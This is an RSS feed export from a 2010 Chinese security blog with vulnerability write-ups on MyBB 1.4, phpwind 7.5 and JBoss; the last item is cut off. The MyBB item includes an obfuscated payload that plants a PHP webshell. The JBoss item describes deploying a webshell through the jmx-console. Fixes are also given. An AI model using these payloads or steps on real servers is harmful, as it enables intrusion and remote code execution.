<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.huaidan.org/styles/feedsky8.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.huaidan.org" type="application/rss+xml" rel="self"></atom:link><fs:self_link href="http://feed.feedsky.com/sunlei" type="application/rss+xml"></fs:self_link><lastBuildDate>Mon, 11 Jan 2010 03:34:17 GMT</lastBuildDate><title>鬼仔's Blog</title><description>Fuck The World!</description><image><url>http://www.feedsky.com/feed/sunlei/sc/gif</url><title>鬼仔's Blog</title><link>http://huaidan.org</link></image><link>http://huaidan.org</link><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><language>en</language><pubDate>Wed, 27 Jan 2010 02:56:07 GMT</pubDate><item><title>MyBB 1.4 admin remote code execution vulnerability</title><link>http://huaidan.org/archives/3451.html</link><content:encoded>&lt;p&gt;by &lt;a href=&quot;http://www.80vul.com/exp/mybb.txt&quot; target=&quot;_blank&quot;&gt;flyh4t&lt;/a&gt;&lt;br /&gt;
team: http://www.80vul.com&lt;br /&gt;
date: 2010-01-10&lt;/p&gt;
&lt;p&gt;测试版本MyBB 1.44.11&lt;/p&gt;
&lt;p&gt;[一]漏洞分析&lt;/p&gt;
&lt;p&gt;在index.php文件336行左右代码如下：&lt;br /&gt;
&lt;span id=&quot;more-3451&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//index.php,336行左右

$plugins-&amp;gt;run_hooks(&quot;index_end&quot;);
//出现了eval函数，注意参数
eval(&quot;\$index = \&quot;&quot;.$templates-&amp;gt;get(&quot;index&quot;).&quot;\&quot;;&quot;);
output_page($index);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看以下eval()函数中的内容是否可以控制，继续找到templates类查看get函数的定义&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//inc/class_templates.php,65行左右

function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;

		//
		// DEVELOPMENT MODE
		//
		if($mybb-&amp;gt;dev_mode == 1)
		{
			$template = $this-&amp;gt;dev_get($title);
			if($template !== false)
			{
				$this-&amp;gt;cache[$title] = $template;
			}
		}

		if(!isset($this-&amp;gt;cache[$title]))
		{
			$query = $db-&amp;gt;simple_select(&quot;templates&quot;, &quot;template&quot;, &quot;title='&quot;.$db-&amp;gt;escape_string($title).&quot;' AND sid IN ('-2','-1','&quot;.$theme['templateset'].&quot;')&quot;, array('order_by' =&amp;gt; 'sid', 'order_dir' =&amp;gt; 'DESC', 'limit' =&amp;gt; 1));
        //从数据库里面的取出模版的代码
			$gettemplate = $db-&amp;gt;fetch_array($query);
			if($mybb-&amp;gt;debug_mode)
			{
				$this-&amp;gt;uncached_templates[$title] = $title;
			}

			if(!$gettemplate)
			{
				$gettemplate['template'] = &quot;&quot;;
			}

			$this-&amp;gt;cache[$title] = $gettemplate['template'];
		}
		$template = $this-&amp;gt;cache[$title];

		if($htmlcomments)
		{
			if($mybb-&amp;gt;settings['tplhtmlcomments'] == 1)
			{
				$template = &quot;&amp;lt;!-- start: &quot;.htmlspecialchars_uni($title).&quot; --&amp;gt;\n{$template}\n&amp;lt;!-- end: &quot;.htmlspecialchars_uni($title).&quot; --&amp;gt;&quot;;
			}
			else
			{
				$template = &quot;\n{$template}\n&quot;;
			}
		}

		if($eslashes)
		{
			$template = str_replace(&quot;\\'&quot;, &quot;'&quot;, addslashes($template));
		}
		return $template;
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从上面的代码可以看出，get()函数是从数据库里面取出模板的内容经过处理后返回给eval函数。继续来跟以下，&lt;br /&gt;
看看数据库里面的数据是如何来的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//admin/modules/style/templates.php,372行开始

	if($mybb-&amp;gt;input['action'] == &quot;edit_template&quot;)
{
	$plugins-&amp;gt;run_hooks(&quot;admin_style_templates_edit_template&quot;);

	if(!$mybb-&amp;gt;input['title'] || !$sid)
	{
		flash_message($lang-&amp;gt;error_missing_input, 'error');
		admin_redirect(&quot;index.php?module=style/templates&quot;);
	}

	if($mybb-&amp;gt;request_method == &quot;post&quot;)
	{
		if(empty($mybb-&amp;gt;input['title']))
		{
			$errors[] = $lang-&amp;gt;error_missing_title;
		}

		if(!$errors)
		{
			$query = $db-&amp;gt;simple_select(&quot;templates&quot;, &quot;*&quot;, &quot;tid='{$mybb-&amp;gt;input['tid']}'&quot;);
			$template = $db-&amp;gt;fetch_array($query);
			//获取到我们输入的内容，包括模板的标题和内容
			$template_array = array(
				'title' =&amp;gt; $db-&amp;gt;escape_string($mybb-&amp;gt;input['title']),
				'sid' =&amp;gt; $sid,
				'template' =&amp;gt; $db-&amp;gt;escape_string(trim($mybb-&amp;gt;input['template'])),
				'version' =&amp;gt; $mybb-&amp;gt;version_code,
				'status' =&amp;gt; '',
				'dateline' =&amp;gt; TIME_NOW
			);

			// Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten
			$query = $db-&amp;gt;simple_select(&quot;templates&quot;, &quot;tid&quot;, &quot;title='&quot;.$db-&amp;gt;escape_string($template['title']).&quot;' AND (sid = '-2' OR sid = '{$template['sid']}')&quot;, array('order_by' =&amp;gt; 'sid', 'order_dir' =&amp;gt; 'desc', 'limit' =&amp;gt; 1));
			$template['tid'] = $db-&amp;gt;fetch_field($query, &quot;tid&quot;);

			if($sid &amp;gt; 0)
			{
				// Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it)  or if it's a custom template
				$query = $db-&amp;gt;simple_select(&quot;templates&quot;, &quot;sid&quot;, &quot;title='&quot;.$db-&amp;gt;escape_string($mybb-&amp;gt;input['title']).&quot;' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')&quot;, array('order_by' =&amp;gt; 'sid', 'order_dir' =&amp;gt; 'desc'));
				$existing_sid = $db-&amp;gt;fetch_field($query, &quot;sid&quot;);
				$existing_rows = $db-&amp;gt;num_rows($query);
				//更新模版数据库
				if(($existing_sid == -2 &amp;amp;&amp;amp; $existing_rows == 1) || $existing_rows == 0)
				{
					$tid = $db-&amp;gt;insert_query(&quot;templates&quot;, $template_array);
				}
				else
				{
					$db-&amp;gt;update_query(&quot;templates&quot;, $template_array, &quot;tid='{$template['tid']}' AND sid != '-2'&quot;);
				}
			}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从以上的代码可以发现，这是一个典型的“二次”漏洞.我们在后台将php代码通过编辑模板注入到数据库，然后到访问前台文件取出代码进入eval函数成功执行代码，注入代码的时候要规避一些敏感符号。比较遗憾的是这个漏洞需要管理员权限才能利用，仅能作为后台getwebshell的方法。&lt;/p&gt;
&lt;p&gt;[二]漏洞利用：&lt;/p&gt;
&lt;p&gt;在后台 Home -&amp;gt; Template Sets -&amp;gt; Default Templates 选择Edit Template: index&lt;br /&gt;
在{$headerinclude}下写入如下一段代码后保存&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(119).chr(93).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(102).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问首页后将在cache目录下生成flyh4t.php，内容为&amp;lt;?php @$_POST[w]($_POST[f])?&amp;gt;，可以使用客户端连接。&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3451.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3451.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3451.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782630/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3451.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782630/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782630/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3451.html/feed</wfw:commentRss><slash:comments>6</slash:comments><description>by flyh4t
team: http://www.80vul.com
date: 2010-01-10
测试版本MyBB 1.44.11
[一]漏洞分析
在index.php文件336行左右代码如下：

//index.php,336行左右

$plugins-&amp;#62;run_hooks(&quot;index_end&quot;);
//出现了eval函数，注意参数
eval(&quot;\$i...&lt;img src=&quot;http://www1.feedsky.com/t1/328782630/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3451.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782630/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782630/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>MyBB</category><category>漏洞</category><category>技术文章</category><pubDate>Mon, 11 Jan 2010 11:34:17 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3451.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3451.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3451.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782630/1230972</fs:itemid></item><item><title>phpwind 7.5 Multiple Include Vulnerabilities</title><link>http://huaidan.org/archives/3450.html</link><content:encoded>&lt;p&gt;author: &lt;a href=&quot;http://www.80vul.com/pwvul/phpwind.txt&quot; target=&quot;_blank&quot;&gt;80vul&lt;/a&gt;&lt;br /&gt;
team:http://www.80vul.com&lt;/p&gt;
&lt;p&gt;一.api/class_base.php本地包含漏洞&lt;/p&gt;
&lt;p&gt;1.描叙&lt;/p&gt;
&lt;p&gt;api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.&lt;br /&gt;
&lt;span id=&quot;more-3450&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;2. 具体分析&lt;/p&gt;
&lt;p&gt;api/class_base.php文件里:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	function callback($mode, $method, $params) {
		if (!isset($this-&amp;gt;classdb[$mode])) {
			if (!file_exists(R_P.'api/class_' . $mode . '.php')) {
				return new ErrorMsg(API_MODE_NOT_EXISTS, &quot;Class($mode) Not Exists&quot;);
			}
			require_once(R_P.'api/class_' . $mode . '.php'); //这里
			$this-&amp;gt;classdb[$mode] = new $mode($this);
		}
		if (!method_exists($this-&amp;gt;classdb[$mode], $method)) {
			return new ErrorMsg(API_METHOD_NOT_EXISTS, &quot;Method($method of $mode) Not Exists&quot;);
		}
		!is_array($params) &amp;amp;&amp;amp; $params = array();
		return @call_user_func_array(array(&amp;amp;$this-&amp;gt;classdb[$mode], $method), $params);
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	function run($request) {
		$request = $this-&amp;gt;strips($request);
		if (isset($request['type']) &amp;amp;&amp;amp; $request['type'] == 'uc') {
			$this-&amp;gt;type		= 'uc';
			$this-&amp;gt;apikey	= $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
		} else {
			$this-&amp;gt;type		= 'app';
			$this-&amp;gt;apikey	= $GLOBALS['db_siteownerid'];
            $this-&amp;gt;siteappkey = $GLOBALS['db_siteappkey'];
		}
		/***
		if ($this-&amp;gt;type == 'app' &amp;amp;&amp;amp; !$GLOBALS['o_appifopen']) {
			return new ErrorMsg(API_CLOSED, 'App Closed');
		}
		***/
		ksort($request);
		reset($request);
		$arg = '';
		foreach ($request as $key =&amp;gt; $value) {
			if ($value &amp;amp;&amp;amp; $key != 'sig') {
				$arg .= &quot;$key=$value&amp;amp;&quot;;
			}
		}
		if (md5($arg . $this-&amp;gt;apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this-&amp;gt;apikey	= $GLOBALS['uc_key'],和$request['sig']我们
		                                                    //都可以控制,那么很容易绕过它
			return new ErrorMsg(API_SIGN_ERROR, 'Error Sign');
		}
		$mode	= $request['mode']; //取$mode 没有过滤直接进入下面的callback()
		$method	= $request['method'];
		$params = isset($request['params']) ? unserialize($request['params']) : array();
        if (isset($params['appthreads'])) {
            if (PHP_VERSION &amp;lt; 5.2) {
                require_once(R_P.'api/class_json.php');
                $json = new Services_JSON(true);
                $params['appthreads'] = $json-&amp;gt;decode(@gzuncompress($params['appthreads']));
            } else {
                $params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
            }
        }
		if ($params &amp;amp;&amp;amp; isset($request['charset'])) {
			$params = pwConvert($params, $this-&amp;gt;charset, $request['charset']);
		}
		return $this-&amp;gt;callback($mode, $method, $params); //调用callback ()
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们继续看看run()函数的调用:&lt;/p&gt;
&lt;p&gt;在pw_api.php文件里:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$api = new api_client();
$response = $api-&amp;gt;run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.'api/class_' . $mode . '.php');这个需要绕过魔术引号才可以&lt;br /&gt;
包含容易文件.我们注意看run()的第一句&lt;/p&gt;
&lt;p&gt;$request = $this-&amp;gt;strips($request);&lt;/p&gt;
&lt;p&gt;strips()的代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	function strips($param) {
		if (is_array($param)) {
			foreach ($param as $key =&amp;gt; $value) {
				$param[$key] = $this-&amp;gt;strips($value);
			}
		} else {
			$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
		}
		return $param;
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.POC/EXP&lt;/p&gt;
&lt;p&gt;缺&lt;/p&gt;
&lt;p&gt;4.FIX&lt;/p&gt;
&lt;p&gt;由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:&lt;/p&gt;
&lt;p&gt;http://www.phpwind.net/read-htm-tid-914851.html&lt;/p&gt;
&lt;p&gt;具体代码:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require_once Pcv(R_P.'api/class_' . $mode . '.php');

function Pcv($filename,$ifcheck=1){
	$tmpname = strtolower($filename);
	$tmparray = array(' http://',&quot;\0&quot;); //过滤了http:// \0 意思是不让远程 不让截断
	$ifcheck &amp;amp;&amp;amp; $tmparray[] = '..';    //过滤了.. 意思是不让转跳目录
	if (str_replace($tmparray,'',$tmpname)!=$tmpname) {
		exit('Forbidden');
	}
	return $filename;
} &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? ...&lt;/p&gt;
&lt;p&gt;二.apps/share/index.php远程包含漏洞&lt;/p&gt;
&lt;p&gt;1.描叙&lt;/p&gt;
&lt;p&gt;apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码&lt;/p&gt;
&lt;p&gt;2.具体分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if ($route == &quot;share&quot;) {
	require_once $basePath . '/action/m_share.php';
} elseif ($route == &quot;sharelink&quot;) {
	require_once $basePath . '/action/m_sharelink.php';
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...&lt;/p&gt;
&lt;p&gt;3.POC/EXP&lt;/p&gt;
&lt;p&gt;缺&lt;/p&gt;
&lt;p&gt;4.FIX&lt;/p&gt;
&lt;p&gt;已经在这个补丁的同时'修补'了&lt;/p&gt;
&lt;p&gt;http://www.phpwind.net/read-htm-tid-914851.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
!function_exists('readover') &amp;amp;&amp;amp; exit('Forbidden');
if ($route == &quot;share&quot;) {
	require_once $basePath . '/action/m_share.php';
} elseif ($route == &quot;sharelink&quot;) {
	require_once $basePath . '/action/m_sharelink.php';
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三.apps/groups/index.php远程包含漏洞&lt;/p&gt;
&lt;p&gt;1.描叙&lt;/p&gt;
&lt;p&gt;apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码&lt;/p&gt;
&lt;p&gt;2.具体分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
if ($route == &quot;groups&quot;) {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == &quot;group&quot;) {
require_once $basePath . '/action/m_group.php';
} elseif ($route == &quot;galbum&quot;) {
require_once $basePath . '/action/m_galbum.php';
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...&lt;/p&gt;
&lt;p&gt;3.POC/EXP&lt;/p&gt;
&lt;p&gt;缺&lt;/p&gt;
&lt;p&gt;4.FIX&lt;/p&gt;
&lt;p&gt;已经在这个补丁的同时'修补'了&lt;/p&gt;
&lt;p&gt;http://www.phpwind.net/read-htm-tid-914851.html&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
!function_exists('readover') &amp;amp;&amp;amp; exit('Forbidden');
if ($route == &quot;groups&quot;) {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == &quot;group&quot;) {
require_once $basePath . '/action/m_group.php';
} elseif ($route == &quot;galbum&quot;) {
require_once $basePath . '/action/m_galbum.php';
}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3450.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3450.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3450.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782631/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3450.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782631/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782631/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3450.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>author: 80vul
team:http://www.80vul.com
一.api/class_base.php本地包含漏洞
1.描叙
api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析
api/class_base...&lt;img src=&quot;http://www1.feedsky.com/t1/328782631/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3450.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782631/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782631/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>技术文章</category><category>PHPWind</category><pubDate>Mon, 11 Jan 2010 11:32:15 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3450.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3450.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3450.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782631/1230972</fs:itemid></item><item><title>JBOSS远程代码执行漏洞</title><link>http://huaidan.org/archives/3449.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;http://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html&quot; target=&quot;_blank&quot;&gt;safe3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;JBOSS默认配置会有一个后台漏洞，漏洞发生在&lt;strong&gt;jboss.deployment命名空间&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;中的&lt;strong&gt;addURL()函数,&lt;/strong&gt;该函数可以远程下载一个war压缩包并解压&lt;/p&gt;
&lt;p&gt;访问http://www.safe3.com.cn:8080/jmx-console/ 后台，如下图&lt;br /&gt;
&lt;span id=&quot;more-3449&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-3445&quot; title=&quot;2010010816232452&quot; src=&quot;http://huaidan.org/wp-content/uploads/2010/01/2010010816232452.jpg&quot; alt=&quot;&quot; width=&quot;551&quot; height=&quot;258&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下拉找到如下图所示&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-3446&quot; title=&quot;2010010816245041&quot; src=&quot;http://huaidan.org/wp-content/uploads/2010/01/2010010816245041.jpg&quot; alt=&quot;&quot; width=&quot;336&quot; height=&quot;110&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击flavor=URL,type=DeploymentScanner进入&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-3447&quot; title=&quot;2010010816281370&quot; src=&quot;http://huaidan.org/wp-content/uploads/2010/01/2010010816281370.jpg&quot; alt=&quot;&quot; width=&quot;567&quot; height=&quot;177&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在输入框中写入war压缩文件webshell的url地址，如上图&lt;/p&gt;
&lt;p&gt;点击invoke执行界面获得一个jsp的webshell，如下图&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-3448&quot; title=&quot;2010010816334719&quot; src=&quot;http://huaidan.org/wp-content/uploads/2010/01/2010010816334719.jpg&quot; alt=&quot;&quot; width=&quot;569&quot; height=&quot;199&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;临时漏洞修补办法：&lt;/strong&gt;给jmx-console加上访问密码&lt;/p&gt;
&lt;p&gt;1.在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释，使其起作用&lt;/p&gt;
&lt;p&gt;2.编辑WEB-INF/classes/jmx-console-users.properties或server/default/conf/props/jmx-console-users.properties (version &amp;gt;=4.0.2)和 WEB-INF/classes/jmx-console-roles.properties&lt;/p&gt;
&lt;p&gt;或server/default/conf/props/jmx-console-roles.properties(version &amp;gt;=4.0.2) 添加用户名密码&lt;/p&gt;
&lt;p&gt;3.编辑WEB-INF/jboss-web.xml去掉 security-domain 块的注释 ，security-domain值的映射文件为 login-config.xml （该文件定义了登录授权方式）&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3449.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/technology&quot; title=&quot;显示技术文章的所有日志&quot; rel=&quot;category tag&quot;&gt;技术文章&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3449.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3449.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782632/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3449.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782632/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782632/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3449.html/feed</wfw:commentRss><slash:comments>4</slash:comments><description>作者：safe3
JBOSS默认配置会有一个后台漏洞，漏洞发生在jboss.deployment命名空间
中的addURL()函数,该函数可以远程下载一个war压缩包并解压
访问http://www.safe3.com.cn:8080/jmx-console/ 后台，如下图


下拉...&lt;img src=&quot;http://www1.feedsky.com/t1/328782632/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3449.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782632/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782632/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>技术文章</category><category>JBOSS</category><pubDate>Fri, 08 Jan 2010 19:40:00 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3449.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3449.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3449.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782632/1230972</fs:itemid></item><item><title>Web杀毒v1.0</title><link>http://huaidan.org/archives/3444.html</link><content:encoded>&lt;p&gt;&lt;strong&gt;# 鬼仔：&lt;/strong&gt;帮朋友发一下。&lt;/p&gt;
